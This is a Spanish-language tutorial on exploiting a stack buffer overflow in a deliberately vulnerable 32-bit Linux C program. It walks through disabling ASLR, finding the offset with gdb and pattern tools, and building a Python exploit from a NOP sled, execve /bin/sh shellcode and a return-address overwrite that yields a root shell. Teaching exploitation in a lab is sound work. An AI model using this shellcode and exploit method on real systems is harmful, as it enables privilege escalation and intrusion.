Stack-Buffer Overflow [Linux 32 Bit] (Part I)
El desbordamiento del búfer o Buffer Overflow en Inglés, sucede cuando el programador no hace la suficiente desinfección en el código de un programa. Esto permite sobrepasar el búfer definido y por ello apuntar a ciertos registros para inyectar shellcode y derivar a una ejecución de código arbitrario en el sistema.
En este artículo aprovecharemos la función strcpy considerada como insegura para sobrepasar un búfer definido y de este modo sobrescribir los registros ESP, EIP para ganar RCE. No tendremos ningún tipo de restricción como ASLR (aleatorización en las direcciones de memoria) o DEP (prevención de ejecución de datos).
Para desactivar ASLR es muy facil, enviamos un 0 como input a /proc/sys/kernel/randomize_va_space y listo.
echo 0 > /proc/sys/kernel/randomize_va_space
Para comenzar necesitamos un binario vulnerable a BoF, por eso he encontrado este script basico en C que hace uso de strcpy.
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
Este script no tiene ninguna utilidad, lo que hace básicamente es copiar el primer argumento que le pasemos como input y guardarlo en un búfer e imprimir Done por pantalla, la vulnerabilidad está en el uso de strcpy.
Para la compilación este debe ser en 32 bits, por ello será necesario usar el parámetro -m32 de gcc, de lo contrario os lo creará en 64 bits.


Los parámetros utilizados en la compilación son para desactivar algunas restricciones.
Esto nos genera un binario ejecutable, entonces probamos a pasarle una A para verificar que funcione.

Bien, funciona, ahora vamos a usar gdb para monitorear el uso del programa a bajo nivel, le pasamos el parámetro -q para la lectura de símbolos y ejecutamos el comando list para ver el código.

Haremos un breakpoint en la línea 10, ya que la vulnerabilidad no sucede en la función main, usamos el comando break 10.

Le pasamos 4 bytes como argumento al programa con el comando run.

Una vez hecho, usamos el comando info registers para ver los registros.

Listamos el registro ESP con x/40x $esp.

Como se puede apreciar se ha sobrescrito una direccion de memoria con las 4 As en ANSI.
Ahora bien, ¿que sucede si le pasamos al programa mas 100 As?, vamos a comprobarlo.

Se ha producido un desbordamiento del búfer y el binario ha crasheado.
Me he creado un pequeño script en Python que imprima por pantalla mas de 100 As y lo he exportando como BoF.
#!/usr/bin/python3
print("A"*116)

Le pasamos las As y miramos el registro ESP.

Como veis están todas las A que le hemos pasado al binario, esto ha sobrescrito hasta la dirección de retorno, vamos a modificar el retturn address con hexedit, ejecutamos hexedit + nombre del binario.

Y cambiamos los últimos valores.

Ahora volvemos a ver el registro ESP.

La dirección de retorno ha cambiado, pero está en little endian, es decir al revés.
Ahora vamos a calcular el offset, es decir las A que tenemos que introducir antes de que el programa corrompa. Para ello hay una herramienta llamada pattern_create la cual te crea una cadena especial para luego computar el offset con pattern_offset.
Le pasé los bytes en los que corrompe el programa.

Una vez la cadena creada se la pasamos al programa como argumento.

La dirección que reporta la copiamos y la pegamos en pattern_offset.

Ahí esta, el offset son 112 bytes. Ahora haremos uso de NOPS para rellenar los bytes faltantes antes del shellcode y llevar el flujo del programa sin problemas.
Necesitamos un shellcode para ganar acceso con un Shell, para ello usé el siguiente de 32 bytes.
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
Y me he creado un pequeño exploit en Python2 con el siguiente código.
#!/usr/bin/python2
nops = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = "\xb0\xd3\xff\xff"
print nops + shellcode + padding + eip
Lo que hace es generar 64 bytes de NOPS x90 y guardarlos en la variable NOPS, después defino otra variable shellcode con el shellcode, valga la redundancia, y en la variable padding hago los cálculos restando los 112 bytes del offset, menos los 64 de los NOPS y los 32 del shellcode y creo la cadena de A’s del número restante. En la dirección EIP introducimos una del trineo de NOPS en little endian para evitar errores, ya que esta estará apuntando a la direccion de memoria de la instrucción a ejecutar. Y finalmente quedaría algo así.
\x90\x90.. → \x31\xc0\x89.. → AAAA.. → \xb0\xd3\xff\xff
Si miramos el resultado en hexadecimal con hexedit veremos algo así.

Exporto el exploit como exp.

Y le hacemos un cat al archivo exportado.

Y hemos ganado un Shell como root en el sistema.
Leave a comment